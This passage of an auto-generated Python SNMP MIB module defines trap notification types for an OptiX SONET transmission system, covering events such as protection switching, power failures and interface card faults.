32845)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtUnequippedVT.setStatus('current') evtRemoteFailureIndicationVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32846)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRemoteFailureIndicationVT.setStatus('current') evtRemoteServerFailureIndicationVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32847)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRemoteServerFailureIndicationVT.setStatus('current') evtEnhancedRemoteConnectivityFailureIndicationVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32848)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEnhancedRemoteConnectivityFailureIndicationVT.setStatus('current') evtEnhancedRemotePalyloadFailureIndicationVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32849)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEnhancedRemotePalyloadFailureIndicationVT.setStatus('current') evtInterFaceCardOffline = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32876)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtInterFaceCardOffline.setStatus('current') evtSyncChangeSSM = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32877)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSyncChangeSSM.setStatus('current') evtTimeingModeChange = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32878)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTimeingModeChange.setStatus('current') evtLockoutWorkingUnit = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32879)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLockoutWorkingUnit.setStatus('current') evtLockoutProtectionUnit = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32880)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLockoutProtectionUnit.setStatus('current') evtForcedSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32881)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtForcedSwitch.setStatus('current') evtManualSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32882)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtManualSwitch.setStatus('current') evtExerciseSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32883)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtExerciseSwitch.setStatus('current') evtWaitToRestore = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32884)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtWaitToRestore.setStatus('current') evtSwitchToIdle = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32886)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSwitchToIdle.setStatus('current') evtSwitchFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32887)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSwitchFail.setStatus('current') evtSyncSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32889)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSyncSwitch.setStatus('current') evtCommunicationFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32890)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtCommunicationFail.setStatus('current') evtPowerAFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32891)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPowerAFail.setStatus('current') evtPowerBFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32892)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPowerBFail.setStatus('current') evtInterfaceLinkMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32899)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtInterfaceLinkMismatch.setStatus('current') evtInterfaceCardFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32900)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtInterfaceCardFail.setStatus('current') evtAIC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32901)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtAIC.setStatus('current') evtDbmsCfgCorrupted = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32903)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtDbmsCfgCorrupted.setStatus('current') evtDefaultKByteDefect = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32904)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtDefaultKByteDefect.setStatus('current') evtInconsistentApsCodes = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 